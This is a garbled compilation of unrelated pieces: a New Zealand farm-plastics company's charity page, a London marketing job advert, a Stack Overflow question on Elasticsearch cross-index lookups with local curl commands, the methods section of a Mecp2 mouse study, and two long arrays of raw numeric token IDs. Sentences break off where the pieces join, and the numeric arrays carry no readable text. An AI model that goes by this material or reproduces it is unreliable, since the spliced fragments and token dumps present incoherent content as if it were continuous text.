Responsibility SWEET LOUISE Agpac Ltd in New Zealand, a Tapex Group company, is very proud of its commitment and ongoing support in raising awareness of breast cancer in rural communities through the Sweet Louise Foundation. The Agpac initiative, in conjunction with one of the global leaders in silage film manufacture, Trioplast, has produced the world’s first pink-coloured silage film in crop packaging that is now seen on many farms across New Zealand. Agpac makes a significant donation each year to Sweet Louise, a charity supporting men and women living with secondary breast cancer. PROSTATE CANCER FOUNDATION OF NEW ZEALAND In 2016, Agpac introduced a blue-coloured silage film to help raise awareness of the Prostate Cancer Foundation of New Zealand. Agpac is very proud of the financial support it provides through the success of its blue silage film. SO THEY CAN “ubuntu” – “I am because of you” So They Can works together with communities and their governments in Kenya and Tanzania to educate and empower, so they can break the poverty cycle, realise their own potential and meet their own needs. As a not-for-profit organisation registered in Australia, New Zealand, Kenya, Tanzania and the United States, education is at the core of everything they do. Tapex Group is a proud supporter and contributor to the “So They Can” charity organisations. In addition to a continuing sponsorship of student Nancy Wangui, Tapex Group has donated over 1,000 educational textbooks to Abadare Ranges Primary School to assist with their syllabus. Plasback Through its original bin and liner system, combined with on-farm collection, Plasback has collected over 10,000 tonnes of waste since the scheme’s inception in 2006. As part of its continued commitment to Product Stewardship, Plasback now operates six purpose-built balers that are designed to improve the onward transport logistics from its main centres to the recycling plants. The scheme has also introduced new products made from recycled plastics; Tuffboard, Tuffdeck, and Plaswood. Plasback was the first product stewardship scheme for agriculture to receive accreditation from the Ministry for the Environment in 2010.Experienced and talented customer marketing manager required to take the lead in delivery of ECRM programme for major UK Broadband, Phone, Mobile & TV provider. The role sits between agency and client and offers the opportunity to deliver market-leading customer marketing campaigns. The Customer Marketing Manager will tap into their extensive knowledge of customer marketing to run with projects from day one. They’ll be the centre of customer comms and take the lead in strategy, coordination and delivery of targeted campaigns aimed at retention, upsell and customer experience. Sat in the Customer Marketing team, they’ll be customer champions and comms experts, working closely with the Customer Marketing Senior Manager to ensure delivery of multi-channel TTL campaigns, across traditional and digital media. To be successful you’ll bring a strong background and proven experience of digital and traditional direct marketing, from insight to evaluation and every step in between. You’ll have a good understanding of how to use data to deliver large-scale personalised customer engagement campaigns, ideally within telco. Your commercial understanding will be complimented by your ability to manage multiple workstreams and prioritise to deliver high quality output that meets and beats your targets. You’ll be analytical, detail-oriented and able to identify opportunities for continuous improvement, while being trusted to work independently as well as in close collaboration with your team and the wider stakeholders. Located between the client’s Shepherd’s Bush offices and the agency’s base in London Bridge, this role is key to the vision of a major challenger in an exciting and ever-changing industry. Please note this is initially a six-month contract but could extend further.Q: Computing a new field and aggregating after joining 2 elasticsearch indices I had posted another question about correlation between 2 elasticsearch indices - Join elasticsearch indices while matching fields in nested/inner objects. I am now trying to extend on top of that. Following is the code which I created following the answer given for my post. Data creation: curl -XPUT http://localhost:9200/currencylookup/inr/1 -d '{ "conv":[ { "currency":"usd", "currencyname": "US Dollar", "units_per_inr":"0.016155969", "inr_per_unit": "61.89662756" }, { "currency":"inr", "currencyname": "Indian Rupee", "units_per_inr":"1", "inr_per_unit": "1" }, { "currency":"idr", "currencyname": "Indonesian Rupiah", "units_per_inr":"199.2576913", "inr_per_unit": "0.005018627" } ] }' curl -XPUT "http://localhost:9200/expenses/overseas/1" -d '{ "amount":"100", "currency":"usd", "location":"USA" }' curl -XPUT "http://localhost:9200/expenses/overseas/2" -d '{ "amount":"50", "currency":"JPY", "location":"JAPAN" }' curl -XPUT "http://localhost:9200/expenses/overseas/3" -d '{ "amount":"50", "currency":"inr", "location":"INDIA" }' curl -XPUT "http://localhost:9200/expenses/overseas/4" -d '{ "amount":"30", "currency" : "IDR", "location": "Indonesia"}' curl -XPUT "http://localhost:9200/expenses/overseas/5" -d '{ "amount":"89", "currency":"USD", "location":"USA" }' Query: curl -XPOST http://localhost:9200/expenses/overseas/_search?pretty -d '{ "query" : { "filtered" : { "filter" : { "terms" : { "currency" : { "index" : "currencylookup", "type" : "inr", "id" : "1", "path" : "conv.currency" }, "_cache_key" : "currencyexchange" } } } } }' I get the results - 4 records from expenses index excluding JPY which is not there in currencylookup. But what I need to do ultimately is to get all expense data in a single currency, so that means I have to do the query other way round, that's when the problem arises. curl -XPOST http://localhost:9200/currencylookup/inr/_search?pretty -d '{ "query" : { "filtered" : { "filter" : { "terms" : { "conv.currency" : { "index" : "expenses", "type" : "overseas", "id" : "2", "path" : "currency" }, "_cache_key" : "currencyexchange6" } } } } }' Looking up against conv.currency does not seem to work. I am not able to specify path for it. I tried to make currencylookup a flat structure, but that also does not work. I don't want to make my expenses as a nested/inner object array. So, Given an expense id from expenses index, how can I lookup the appropriate currency exchange rate in currencylookup index and compute a new field that has the amount in target currency. eg: for expense id 1, I have to lookup "usd" in currencylookup, get the field inr_per_unit and compute expenseAmountInINR. And if I get that far I would like to aggregate on the converted expense amount based on some parameters. Is it possible to do so? A: This probably isn't the right way to solve this problem, and what I did is a total hack, but what you're asking for can be done using the scripted metric aggregation. This aggregation
[ 3732, 281, 253, 6384, 323, 374, 288, 387, 2316, 3276, 846, 1264, 1384, 1054, 14792, 1267, 369, 1041, 15, 14540, 410, 12135, 369, 27130, 407, 8655, 3554, 300, 36416, 285, 10848, 327, 3085, 15, 20112, 2308, 497, 3413, 970, 12006, 262, 7480, 1783, 13, 970, 26831, 267, 16752, 70, 28421, 46224, 281, 39142, 323, 5884, 3301, 10575, 875, 24914, 15, 2071, 1502, 497, 25266, 285, 27130, 970, 253, 2884, 454, 14, 52, 22449, 3351, 3800, 15, 20112, 3961, 16689, 497, 3413, 970, 253, 12597, 414, 2596, 16181, 14, 13021, 1783, 2086, 15, 187, 187, 30458, 17384, 18334, 1712, 84, 21, 68, 94, 187, 15879, 187, 187, 46, 547, 497, 31548, 949, 310, 41365, 49219, 46539, 285, 811, 9290, 1365, 20403, 3197, 342, 470, 15, 26, 6, 22748, 18704, 2900, 3560, 407, 374, 6, 5586, 47236, 14, 37000, 2900, 15, 4458, 514, 3998, 4408, 369, 45560, 285, 10729, 275, 1884, 6, 31145, 14, 37000, 2900, 13463, 387, 577, 3272, 36, 15, 380, 3998, 4408, 369, 840, 14245, 285, 7141, 387, 4150, 1438, 3272, 36, 1919, 2007, 20215, 15, 1198, 2593, 272, 13, 253, 3998, 369, 12691, 275, 36171, 8508, 313, 52, 518, 5650, 13, 7608, 27638, 13, 6582, 13, 5106, 10, 285, 2593, 264, 275, 253, 18561, 26490, 6415, 15, 329, 2070, 3737, 3501, 30469, 313, 7645, 38973, 12280, 27295, 13, 411, 25532, 9388, 13, 6176, 10, 369, 908, 281, 4822, 40054, 7118, 313, 1010, 14620, 481, 1198, 47571, 13, 7118, 497, 13230, 342, 884, 6, 427, 10339, 559, 374, 6, 35098, 275, 470, 15, 18, 6, 13626, 14, 53, 323, 337, 288, 3560, 407, 15685, 342, 17876, 3270, 14, 5072, 5305, 19, 8092, 313, 18, 27, 5388, 11641, 41144, 13, 12441, 13181, 1706, 3208, 52, 10, 275, 470, 15, 18, 6, 13626, 14, 53, 19079, 342, 374, 6, 427, 10339, 13463, 387, 577, 3272, 36, 15, 2732, 17392, 253, 7118, 970, 470, 15, 18, 6, 13626, 14, 53, 1264, 2069, 13, 253, 7118, 497, 10729, 342, 6561, 8740, 33502, 281, 31787, 19258, 46148, 313, 29166, 13, 23244, 3270, 14, 39807, 13, 12441, 13181, 883, 13925, 10, 323, 337, 288, 387, 2316, 3276, 275, 3644, 15, 380, 7118, 497, 840, 11974, 342, 13626, 1264, 2069, 285, 10729, 342, 40987, 313, 22, 14986, 16, 1686, 13, 24940, 22938, 21234, 13, 33070, 13, 2949, 13, 5106, 13, 13181, 740, 21358, 22818, 2874, 10, 323, 495, 1054, 15, 380, 7118, 497, 10877, 327, 6053, 37838, 19459, 313, 40018, 15317, 13, 17026, 6169, 13, 17367, 13, 6144, 10, 342, 399, 18956, 21106, 40411, 8352, 272, 11263, 313, 37, 18956, 13, 7634, 25185, 13, 17367, 13, 6144, 13, 12441, 13181, 52, 1229, 1508, 1438, 481, 31965, 497, 35014, 970, 247, 7728, 739, 329, 2981, 37200, 374, 372, 13118, 2241, 17199, 313, 29916, 7728, 739, 13, 21979, 1076, 257, 13, 6176, 481, 187, 187, 53, 312, 48495, 1971, 323, 353, 886, 81, 19, 8071, 7639, 1712, 84, 21, 69, 94, 187, 39421, 187, 187, 53, 312, 48495, 313, 6199, 10, 369, 18224, 275, 14128, 4166, 313, 23, 5770, 16, 1686, 10, 949, 3347, 8518, 285, 7141, 387, 577, 3272, 36, 1919, 897, 15, 16219, 48495, 369, 11966, 281, 3754, 949, 35948, 8829, 323, 2620, 12640, 1897, 387, 2233, 5770, 16, 5840, 15, 23588, 686, 2632, 30940, 8, 3754, 497, 4127, 342, 21526, 48495, 846, 27791, 5917, 452, 4751, 3715, 313, 40673, 1235, 283, 1549, 1897, 273, 2363, 342, 247, 27791, 4868, 273, 387, 1878, 608, 481, 10244, 13, 5343, 686, 2632, 30940, 8, 3754, 497, 671, 4127, 342, 21526, 48495, 846, 28387, 11653, 15, 380, 673, 273, 253, 3302, 8829, 17751, 432, 22540, 281, 23349, 1897, 13, 533, 253, 8829, 22199, 369, 253, 1072, 323, 512, 5705, 15, 187, 187, 49, 864, 5174, 12147, 14755, 1712, 84, 21, 70, 94, 187, 27800, 187, 187, 1145, 21185, 497, 11691, 970, 253, 27791, 12147, 14755, 985, 2529, 3786, 2479, 11927, 53, 42383, 36, 20, 2947, 11927, 53, 42383, 36, 1036, 2947, 11927, 53, 42383, 36, 1229, 2947, 11927, 53, 42383, 36, 1706, 2498, 496, 2159, 13, 3754, 497, 11691, 432, 470, 283, 19, 715, 253, 1563, 3602, 27, 16239, 13, 31262, 13, 17134, 14, 2815, 67, 39712, 272, 13, 14578, 4868, 13, 11820, 263, 285, 2087, 1617, 15, 329, 4868, 273, 470, 6125, 253, 5928, 273, 19831, 13, 337, 6492, 19831, 1246, 285, 374, 6492, 253, 19831, 310, 1077, 5460, 15, 5761, 16381, 14, 27895, 264, 1174, 32930, 5196, 253, 14755, 10939, 13, 285, 616, 2060, 2193, 497, 17522, 281, 6635, 1016, 2173, 941, 1127, 347, 2529, 2479, 11927, 53, 42383, 36, 1706, 2498, 187, 187, 38066, 267, 5175, 1712, 84, 21, 71, 94, 187, 22928, 187, 187, 1145, 21185, 497, 7515, 275, 253, 1527, 1673, 13, 38757, 4000, 274, 351, 13, 1708, 285, 3644, 14682, 13, 285, 15178, 14, 22157, 5216, 347, 3786, 2529, 2479, 11927, 53, 42383, 36, 1706, 2947, 11927, 53, 42383, 36, 1867, 2498, 25487, 13, 323, 253, 1527, 1673, 6861, 1427, 1071, 13, 5705, 497, 4845, 275, 247, 367, 1591, 304, 14407, 22133, 323, 271, 4964, 285, 271, 16644, 4866, 5481, 985, 313, 2300, 740, 3357, 2425, 28028, 28, 418, 8185, 39664, 13, 5591, 10, 5950, 253, 5694, 4712, 273, 253, 5074, 15, 380, 3602, 4080, 2908, 2264, 2425, 313, 12135, 275, 1097, 9118, 285, 11593, 16340, 582, 294, 1875, 313, 26806, 6415, 2425, 582, 16239, 313, 33464, 6415, 2425, 28, 3605, 273, 2264, 6861, 17024, 2425, 582, 6861, 1427, 2281, 313, 25629, 3885, 273, 11593, 6415, 2425, 14270, 625, 685, 767, 20435, 582, 3426, 22133, 19055, 313, 9133, 273, 3426, 22133, 31880, 569, 28, 3605, 273, 16239, 4757, 10, 285, 4055, 294, 1875, 2425, 313, 250, 1875, 275, 11627, 387, 1878, 577, 18626, 432, 667, 3402, 28, 271, 10397, 14, 3022, 3879, 3605, 481, 1198, 253, 38757, 4000, 274, 351, 1071, 313, 4663, 273, 6654, 285, 16239, 4757, 582, 5705, 497, 4845, 327, 247, 17387, 12591, 6576, 313, 19047, 30540, 3690, 904, 13181, 33735, 14, 41211, 46, 13, 659, 15, 21975, 507, 13, 27751, 10, 326, 17308, 684, 387, 247, 3638, 2281, 432, 495, 15, 22, 281, 4791, 33936, 689, 247, 608, 14, 1222, 7467, 15, 329, 8166, 8325, 8468, 34472, 253, 673, 387, 534, 253, 5074, 2965, 432, 253, 17387, 8325, 15, 47992, 497, 1408, 1264, 2069, 247, 1388, 323, 1740, 12640, 1897, 15, 1716, 1704, 4995, 7587, 497, 9070, 407, 387, 1878, 337, 575, 73, 281, 1581, 253, 5074, 281, 9295, 432, 3520, 18693, 15, 1198, 253, 1708, 283, 19001, 1659, 14682, 1071, 313, 4663, 273, 10397, 14, 3022, 3879, 582, 3754, 497, 4845, 715, 253, 1527, 18862, 273, 247, 3817, 11253, 273, 247, 3644, 18862, 285, 271, 34420, 1708, 18862, 326, 403, 4802, 949, 247, 2014, 1355, 5909, 15, 380, 3754, 497, 10268, 253, 3369, 875, 253, 31441, 387, 253, 1265, 273, 253, 1071, 15, 380, 5705, 497, 45917, 7760, 323, 608, 1054, 285, 253, 1180, 273, 2495, 20215, 313, 11546, 1481, 26696, 621, 562, 273, 253, 3644, 18862, 10, 2684, 1223, 597, 497, 275, 253, 3644, 18862, 369, 16042, 15, 1198, 253, 15178, 14, 22157, 3879, 1071, 313, 4663, 273, 2675, 3879, 582, 5074, 497, 4845, 715, 247, 747, 22133, 4508, 247, 2014, 5313, 273, 15178, 1059, 13, 285, 253, 4644, 273, 253, 17412, 15178, 369, 4080, 253, 2164, 288, 1996, 15, 1876, 14613, 5216, 497, 5196, 875, 898, 27, 361, 717, 285, 337, 27, 361, 12920, 281, 15338, 38261, 2538, 15, 23588, 686, 11592, 14, 2632, 30940, 8, 3754, 497, 38284, 875, 2456, 285, 5571, 1897, 273, 2363, 13, 253, 1072, 673, 3665, 1309, 534, 5086, 686, 2632, 30940, 8, 3754, 403, 4127, 342, 21526, 48495, 15, 23588, 686, 2632, 30940, 8, 3754, 497, 5762, 875, 9199, 285, 7783, 1897, 273, 2363, 13, 285, 247, 5927, 273, 721, 3618, 846, 21526, 48495, 9694, 15, 26993, 686, 2632, 30940, 8, 3754, 497, 38284, 875, 1903, 285, 1458, 2607, 273, 2363, 13, 285, 387, 1878, 374, 2607, 846, 21526, 48495, 9694, 15, 26993, 686, 11592, 14, 2632, 30940, 8, 3754, 497, 38284, 875, 898, 285, 1638, 2607, 273, 2363, 15, 187, 187, 21749, 287, 615, 24365, 1712, 84, 21, 72, 94, 187, 23130, 187, 187, 7910, 7663, 2718, 497, 7091, 275, 436, 1263, 15, 1198, 4014, 15043, 19654, 13, 5343, 3754, 497, 28567, 342, 247, 11744, 4014, 15043, 10304, 22039, 883, 2025, 34, 14, 39, 740, 313, 3233, 13416, 5625, 313, 37, 5824, 582, 659, 5171, 13, 26583, 13, 5106, 10, 323, 1048, 7467, 29253, 13, 2425, 285, 5161, 2133, 3276, 19654, 347, 3786, 2529, 2479, 11927, 53, 42383, 36, 746, 2498, 25487, 13, 5893, 5705, 497, 49238, 762, 374, 6, 310, 41365, 49219, 285, 253, 11744, 26518, 369, 4845, 275, 253, 35948, 13369, 15, 380, 7663, 6371, 369, 50088, 3066, 247, 687, 1344, 267, 31967, 1854, 285, 253, 7663, 9885, 4845, 275, 253, 44203, 14031, 2919, 313, 35, 1747, 785, 4150, 17, 15, 23, 5823, 13, 11884, 337, 15, 22, 5823, 285, 6864, 337, 15, 22, 5823, 481, 329, 3806, 6371, 285, 9885, 369, 4845, 387, 378, 1747, 785, 4150, 22, 5823, 13, 11884, 337, 5823, 285, 6864, 337, 15, 22, 5823, 15, 29301, 497, 17375, 638, 14, 285, 1501, 14, 49742, 281, 5416, 642, 13711, 19147, 15, 29301, 497, 4136, 281, 9295, 323, 387, 1878, 495, 3618, 2720, 281, 667, 941, 4849, 15, 1198, 246, 10666, 433, 19654, 13, 5086, 285, 5343, 3754, 497, 28567, 342, 9885, 1729, 25502, 347, 2529, 3786, 2479, 11927, 53, 42383, 36, 1508, 2947, 11927, 53, 42383, 36, 1706, 2947, 11927, 53, 42383, 36, 3712, 2498, 25487, 13, 5074, 497, 49238, 762, 374, 283, 21, 6, 310, 41365, 49219, 949, 43431, 15, 38566, 3229, 1160, 432, 3488, 42279, 14, 968, 2907, 31361, 10194, 497, 28567, 275, 253, 30348, 6582, 18, 313, 35, 1747, 785, 4150, 19, 15, 20, 5823, 13, 11884, 337, 15, 24, 5823, 285, 6864, 13, 374, 15, 17, 5823, 10, 285, 41782, 1260, 29392, 41593, 14031, 313, 35, 1747, 785, 4150, 17, 15, 25, 5823, 13, 11884, 337, 15, 25, 5823, 285, 6864, 13, 337, 15, 22, 5823, 481, 329, 3806, 9885, 369, 28567, 275, 253, 24459, 14031, 313, 35, 1747, 785, 4150, 20, 15, 25, 5823, 13, 11884, 337, 15, 25, 5823, 285, 6864, 337, 15, 22, 5823, 481, 23588, 3754, 497, 28567, 875, 3387, 285, 3925, 1897, 273, 2363, 285, 5343, 3754, 497, 28567, 387, 23377, 9519, 1897, 273, 2363, 15, 380, 28567, 3754, 497, 4136, 281, 9295, 323, 387, 1878, 247, 2129, 1078, 667, 2007, 40290, 15, 6912, 1206, 300, 18042, 313, 35, 4071, 27147, 13, 13533, 13, 17367, 13, 6144, 10, 497, 2879, 281, 253, 1824, 6186, 374, 1897, 1078, 5869, 285, 818, 1897, 846, 5869, 281, 3657, 10332, 15, 187, 187, 26839, 10994, 941, 11931, 285, 941, 1783, 1712, 84, 21, 73, 94, 187, 42451, 187, 187, 15163, 3276, 285, 2425, 273, 5893, 5705, 497, 5728, 347, 3786, 2529, 2479, 11927, 53, 42383, 36, 746, 2498, 25487, 13, 11744, 34048, 941, 403, 12573, 432, 253, 4014, 15043, 10304, 313, 7656, 883, 2025, 34, 14, 39, 740, 10, 281, 253, 11744, 11452, 313, 48095, 14, 18, 13, 15724, 10, 285, 5867, 970, 253, 5128, 34686, 329, 15, 51, 15, 53, 15, 313, 37, 5824, 10, 3694, 15, 18456, 9208, 497, 5950, 432, 253, 5461, 375, 11313, 326, 310, 6221, 275, 11744, 10304, 15, 418, 14881, 20082, 2425, 369, 4080, 407, 18005, 253, 2629, 11254, 273, 253, 11744, 2625, 4757, 273, 253, 26518, 281, 767, 20277, 314, 10912, 6883, 17512, 70, 327, 253, 416, 5077, 14, 18, 11744, 11452, 15, 18456, 3276, 285, 2425, 941, 497, 12573, 387, 2456, 14878, 13, 970, 247, 10491, 2281, 273, 10257, 14878, 15, 1916, 12106, 253, 5312, 6127, 273, 5161, 2133, 3276, 21834, 13, 271, 16644, 35132, 1320, 1232, 5933, 369, 908, 347, 2529, 3786, 2479, 11927, 53, 42383, 36, 746, 2498, 496, 4864, 13, 253, 35132, 1320, 1232, 3407, 407, 2622, 3006, 1016, 2164, 14, 73, 3276, 2625, 281, 452, 247, 1599, 273, 470, 285, 247, 11041, 273, 337, 15, 2635, 247, 14299, 14, 3169, 10295, 342, 247, 2456, 14, 3659, 23700, 369, 2410, 5336, 342, 253, 12650, 3276, 2625, 281, 4044, 253, 17329, 273, 253, 2625, 15, 47090, 13, 247, 7887, 273, 470, 369, 3732, 281, 35132, 907, 253, 2625, 715, 1029, 285, 1698, 2133, 3276, 3054, 13, 835, 1016, 2060, 1375, 574, 247, 5927, 7467, 273, 1458, 1054, 15, 329, 3426, 5880, 369, 2931, 347, 253, 5019 ]	applied to the membrane for 2 h at room temperature after three 20 min TBST washes. Immunoreactivity was visualized by enhanced chemiluminescence and captured on film. Protein levels were determined using densitometric analysis, using glyceraldehye dehydrogenase immunoreactivity to normalize for minor load variations between lanes. Blots were scanned and visualized using the Flour-S MultiImager. Protein band densities were determined using the Quantity One Bio-Rad analysis program. Immunohistochemistry {#s4c} -------------------- Mice were sacrificed through isoflurane overdose and transcardially perfused with 0.9% NaCl saline solution followed by 2% paraformaldehyde-PBS solution. Intact brain tissue was dissected and incubated in 30% sucrose-PBS solution overnight at 4°C. The brain tissue was then dried and stored at −80°C until further assessments. For sectioning, the brain was embedded in OCT compound (Sakura, Torrance, CA, USA) and sectioned in the sagittal plane. A Leica cryostat (model Jung CM 3000, Wetzlar, Germany) was used to collect coronal sections (15 μm). For immunostaining, sections were blocked with 10% NGS + 2% BSA in 0.1% PBS-T for 1 h followed by incubation with rabbit anti-MeCP2 antibody (1:500 Cell Signaling, Cat \#3456S) in 0.1% PBS-T supplemented with 2% NGS overnight at 4°C. After washing the sections using 0.1% PBS-T three times, the sections were incubated with secondary antibodies conjugated to DyLight 568 (Invitrogen, goat anti-rabbit, Cat \#11011) for 1 h at room temperature in dark. The sections were then washed with PBS three times and incubated with DAPI (5 μg/ml, Roche Diagnostics, Indianapolis, IN, USA, \#10236276001) for 3 min. The sections were mounted on Super Frost slides (Fisher Scientific, Oakville, Ontario, Canada) with Dako Fluorescent Mounting Media (Dako, Burlington, Ontario, Canada, Cat \#S302380). Sections were imaged using a Zeiss Axioplan 2 deconvolution microscope (Carl Zeiss, Gottingen, Germany). Tamoxifen treatment for Mecp2 reactivation {#s4d} ------------------------------------------ Tamoxifen (Sigma) was dissolved in corn oil (6 mg/ml) through sonication and stored at 4°C until use. Tamoxifen was administered to mice through peritoneal injection for five consecutive days at 100 mg/kg. Male 'Rescue' mice were treated with tamoxifen after phenotypic symptoms have fully developed (∼50--60 days of age with a phenotypic score of at least 5). Similarly, female 'Rescue' mice were also treated with tamoxifen after symptomatic onset. The time of the initial injection ranged from 270 to 320 days, but the injection paradigm was the same for all subjects. Phenotype severity scoring {#s4e} -------------------------- Animals were scored using the phenotypic severity scoring system described previously ([@DDT421C3],[@DDT421C16],[@DDT421C30],[@DDT421C34]). In short, mice were scored from 0--2 into the following parameters: mobility, gait, hind-limb clasping, breathing score, tremor and general condition. A score of 0 represents the absence of symptom, 1 indicates symptom present and 2 indicates the symptom is very severe. Two genotype-blinded examiners conducted the scoring independently, and their individual values were averaged to generate each specific data point as described ([@DDT421C34]). Behavioral testing {#s4f} ------------------ Animals were assessed in the open field, accelerating rotarod, light and dark preference, and nest-building tests as previously described ([@DDT421C34],[@DDT421C39]). Briefly, for the open field ambulation test, subjects were placed in a Plexiglass cage for an hour and an automated movement detection system (AM1053 activity monitors; Linton Instruments, UK) recorded the motor activities of the animals. The parameters measured included total activity (activity in both vertical and horizontal planes), rearing (vertical plane activity), mobility (horizontal plane activity; index of total ambulatory activity), ambulation rate (average speed of horizontal plane activity crossing more than two beams), complete cage trips (number of complete cage explorations; index of mobility strength) and center rearing activity (rearing in coordinates at least 4″ from any wall; an anxiety-like behavior index). For the accelerating rotarod test (index of balance and mobility strength), subjects were placed on a rotating rod apparatus (MED Associates Inc., \#ENV-575M, St. Albans, Vermont) that accelerates at a constant rate from 3.5 to 35 rpm over a 5-min duration. A laser beam sensor detects the time at which the animals fall from the rotating beam. Trials were run three times a day for four consecutive days. Consecutive trials were separated by at least 1 h to allow the animals to recover from physical fatigue. For the light--dark place preference test (index of anxiety-like behavior), mice were placed into the open compartment of a box consisting of a dark compartment and an illuminated light compartment that are connected through a single small opening. The mice were facing the door between the compartments at the start of the test. The subjects were videotaped for 5 min and the number of risk assessments (full head traversions out of the dark compartment) performed while they were in the dark compartment was counted. For the nest-building behavior test (index of social behavior), animals were placed into a new cage containing a single piece of nestlet, and the volume of the assembled nest was measured the 24 h later. All behavioral tests were conducted between 9:00 am and 1:00 pm to minimize circadian effects. Male 'Non-Rescue' mice were assayed between 50 and 70 days of age, the same time frame during which male 'Rescue' mice are treated with tamoxifen. Male 'Rescue' mice were tested between 110 and 150 days of age, and a minimum of 6 weeks after tamoxifen treatments. Female 'Rescue' mice were assayed between 11 and 15 months of age, and at least 2 months after tamoxifen treatments. Female 'Non-Rescue' mice were assayed between 9 and 14 months of age. Electrode implantation {#s4g} ---------------------- Two recording systems were employed in this study. For telemetry recordings, female mice were implanted with a wireless telemetry probe TA11ETA-F10 (Data Sciences International (DSI), St Paul, MN, USA) for long duration EEG, activity and core body temperature recordings as previously described ([@DDT421C19]). Briefly, animal subjects were anesthetized under 2% isoflurane and the wireless transmitter was placed in the peritoneal cavity. The recording wire was routed via a rostral subcutaneous path and the recording electrode placed in the parietal cortex region (Bregma −0.6 mm, lateral 1.5 mm and depth 1.5 mm). A reference wire and electrode was placed at Bregma −5 mm, lateral 1 mm and depth 1.5 mm. Animals were weighted pre- and post-surgery to ensure no gross abnormalities. Animals were allowed to recover for at least 3 weeks prior to any data collection. For tethered recordings, male and female mice were implanted with electrode cap assemblies as described previously ([@DDT421C23],[@DDT421C34],[@DDT421C51]). Briefly, animals were anesthetized under 2--4% isoflurane through inhalation. Electrodes made from polyimide-insulated stainless steel were implanted in the hippocampal CA1 (Bregma −2.3 mm, lateral 1.7 mm and depth, 2.0 mm) and contralateral somatosensory cortex (Bregma −0.8 mm, lateral 1.8 mm and depth, 1.5 mm). A reference electrode was implanted in the frontal cortex (Bregma −3.8 mm, lateral 1.8 mm and depth 1.5 mm). Male mice were implanted between 40 and 60 days of age and female mice were implanted at ∼250 days of age. The implanted mice were allowed to recover for at least a week before any further experimentation. Baytril antibiotics (Bayer Healthcare, Toronto, Ontario, Canada) were added to the water supply 2 days before surgery and 7 days after surgery to prevent infections. Telemetric data acquisition and data analysis {#s4h} --------------------------------------------- Body temperature and activity of animal subjects were collected as previously described ([@DDT421C19]). Briefly, wireless waveform data are transmitted from the telemetry probe (TA11ETA-F10) to the wireless receiver (RPC-1, DIS) and analyzed using the DataQuest A.R.T. (DSI) software. Body temperatures were recorded from the thermosensor that is contained in wireless probe. Locomotive activity was measured by assessing the standard deviation of the wireless signal strength of the transmitter to two perpendicularly arranged receiving antennae on the RPC-1 wireless receiver. Body temperature and activity data were transmitted at 50 Hz, using a sampling rate of 250 Hz. To analyze the daily patterns of core body temperature cycling, an automated discretization process algorithm was used as described previously ([@DDT421C19]). In brief, the discretization process began by normalizing each 24-h temperature signal to have a mean of 0 and a variance of 1. Then a Gaussian-based kernel with a 50-point aperture was convolved with the normalized temperature signal to obtain the envelope of the signal. Afterwards, a threshold of 0 was applied to discretize the signal into high and low body temperature states, where each individual state had a minimum duration of 15 min. A complete cycle was defined as the combination
[ 2307, 495, 1366, 285, 187, 187, 19, 15, 50276, 1202, 14570, 891, 393, 249, 9121, 17, 13, 18, 1337, 6768, 13, 76, 14, 18, 39130, 374, 768, 74, 12, 76, 6643, 19, 63, 74, 14, 19, 63, 84, 14, 18, 426, 470, 393, 2307, 495, 1352, 187, 187, 1466, 370, 76, 5, 285, 370, 84, 5, 320, 2762, 20935, 824, 326, 370, 76, 12, 84, 426, 470, 393, 2307, 495, 5, 285, 370, 72, 2428, 9, 84, 13, 20, 76, 10, 426, 393, 72, 2428, 9, 20, 13, 76, 4010, 18, 1352, 1281, 2007, 370, 86, 393, 249, 1926, 1991, 92, 39, 6922, 19, 768, 20, 76, 599, 18636, 320, 20523, 285, 1339, 370, 87, 13, 88, 393, 249, 1926, 1991, 92, 39, 6922, 19, 63, 76, 724, 342, 370, 87, 88, 393, 9540, 337, 1352, 2635, 13, 253, 1159, 3318, 39, 61, 13777, 1926, 1991, 92, 39, 6922, 19, 768, 20, 76, 599, 393, 4287, 1926, 1991, 92, 39, 6922, 19, 768, 20, 76, 8503, 393, 3362, 1269, 393, 15869, 1484, 89, 768, 19, 63, 84, 12, 18, 6643, 86, 768, 19, 63, 76, 94, 89, 768, 19, 768, 19, 76, 6643, 19, 768, 76, 12, 84, 26284, 43563, 768, 19, 768, 19, 76, 6643, 18, 6643, 44217, 768, 19, 63, 76, 12, 18, 94, 89, 768, 19, 768, 76, 12, 84, 6643, 19, 63, 84, 2138, 310, 4097, 47, 15, 187, 187, 38418, 326, 370, 19, 768, 20, 76, 5960, 18, 426, 470, 393, 2307, 818, 1352, 1916, 921, 326, 370, 39, 5, 19943, 247, 1327, 14, 26551, 40755, 2556, 281, 11506, 575, 1447, 8560, 27, 9961, 249, 297, 5290, 359, 921, 326, 187, 187, 18, 15, 50276, 5, 19, 768, 19, 76, 6643, 19, 768, 76, 12, 84, 5960, 19, 63, 84, 14, 18, 426, 470, 393, 2307, 818, 1366, 285, 187, 187, 19, 15, 50276, 5, 19, 768, 19, 76, 6643, 18, 14, 19, 63, 84, 14, 18, 426, 313, 19, 768, 76, 21161, 19, 14, 19, 63, 84, 426, 470, 393, 2307, 818, 1366, 285, 187, 187, 20, 15, 50276, 5, 19, 768, 76, 12, 84, 6643, 19, 63, 84, 14, 19, 63, 84, 14, 18, 426, 374, 768, 76, 12, 84, 5960, 18, 426, 470, 393, 2307, 818, 1352, 187, 187, 11247, 3019, 12211, 1009, 6556, 984, 370, 76, 12, 84, 30, 17, 393, 2307, 495, 5, 285, 3021, 13, 370, 19, 768, 76, 12, 84, 94, 426, 337, 393, 2307, 818, 1352, 10498, 3019, 2886, 1009, 476, 320, 36183, 407, 7296, 253, 767, 2219, 273, 370, 76, 30, 18, 393, 2307, 495, 5, 285, 370, 76, 426, 374, 393, 2307, 495, 5, 11794, 15, 10498, 3019, 74, 1009, 4745, 3637, 432, 3019, 2886, 1009, 285, 3019, 12211, 3822, 187, 187, 13425, 1025, 30683, 31652, 1712, 1704, 27, 1541, 64, 2858, 350, 16247, 94, 187, 25916, 187, 187, 1147, 369, 2011, 275, 575, 683, 37, 5993, 49, 27, 8259, 16, 36371, 16, 49, 1000, 249, 20722, 1036, 62, 326, 253, 39631, 4097, 47, 29391, 275, 7877, 2800, 1119, 275, 575, 683, 67, 31041, 7199, 522, 79, 62, 313, 10573, 904, 253, 773, 37, 24632, 668, 29391, 10, 476, 320, 45765, 715, 247, 2714, 2605, 15, 187, 187, 1466, 370, 79, 393, 249, 393, 1991, 92, 47, 724, 320, 8909, 285, 1339, 669, 1637, 1337, 2461, 393, 249, 1926, 1991, 92, 39, 6922, 19, 768, 79, 8503, 393, 2461, 393, 9540, 470, 1352, 743, 475, 5758, 14923, 38985, 11, 310, 2931, 347, 247, 29391, 